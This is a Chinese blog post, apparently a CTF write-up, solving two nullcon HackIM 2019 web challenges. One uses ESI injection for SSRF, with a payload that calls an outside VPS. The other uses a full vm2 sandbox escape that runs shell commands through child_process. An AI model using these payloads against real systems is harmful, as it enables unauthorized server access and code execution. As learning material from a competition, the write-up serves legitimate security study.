Hu3sky's blog

nullcon ctf 部分web

Word count: 487 / Reading time: 2 min
2019/02/15 Share

nullcon ctf 部分web

当时比赛的时候没有做出来。。真菜。。赛后学习一波,这次比赛很多的题都是nodejs的题,借此学习nodejs

环境

https://github.com/nullcon/hackim-2019

rfv blog

1
根据提交生成链接
1
可以xss
1

存在admin目录
1

于是猜测需要通过一个类似ssrf的地方去访问admin
当只访问
http://52.36.15.23:8080/edge时,出现报错
1
传了一个http://52.36.15.23:8080/edge?title=aaa&description[%22a%22]
爆了另一个错
1
搜到了一篇文章,关于ESI注入
https://www.anquanke.com/post/id/103641#h3-4

1
Edge Side Includes (ESI) 是一种标记语言,主要在常见的HTTP代理(反向代理、负载均衡、缓存服务器、代理服务器)中使用。通过ESI注入技术可以导致服务端请求伪造(SSRF),绕过HTTPOnly cookie的跨站脚本攻击(XSS)以及服务端拒绝服务攻击。

ESI -> SSRF

于是尝试一下payload
<esi:include src="http://vps:12345" />
成功在vps上收到请求
1
于是payload

1
http://52.36.15.23:8080/edge?title=asd&description=111%3Cesi:include%20src=%22http://52.36.15.23:8080/admin%22/%3E

getflag
hackim19{h0w_Did_y0ou-Get_here}

BabyJS

给了一些使用方法
1
看样子是可以用一些js的函数,定义js变量
1
1

https://www.anquanke.com/post/id/157920#h2-0
网上找到了一个文章,利用利用child_process模块的exec函数来执行命令
于是利用代码

1
2
3

const child_process = require('child_process');
child_process.exec('ls /', function(error, stdout, stderr) { console.log(stdout) });

结果
1
Error().stack可以收集使用的模块信息
1

vm2沙箱绕过执行任意代码

看到了vm模块,网上很多vm沙箱绕过的文章

利用https://github.com/patriksimek/vm2/issues/186

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
value:new Proxy({},{
getPrototypeOf(target){
if(this.t)
throw Buffer.from;
this.t=true;
return Object.getPrototypeOf(target);
}
})
});
}catch(e){
process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("whoami").toString();

成功执行whoami

1
ls一下
1
cat iamnotwhatyouthink
1

CATALOG
  1. 1. nullcon ctf 部分web
    1. 1.1. 环境
    2. 1.2. rfv blog
      1. 1.2.1. ESI -> SSRF
    3. 1.3. BabyJS
      1. 1.3.1. vm2沙箱绕过执行任意代码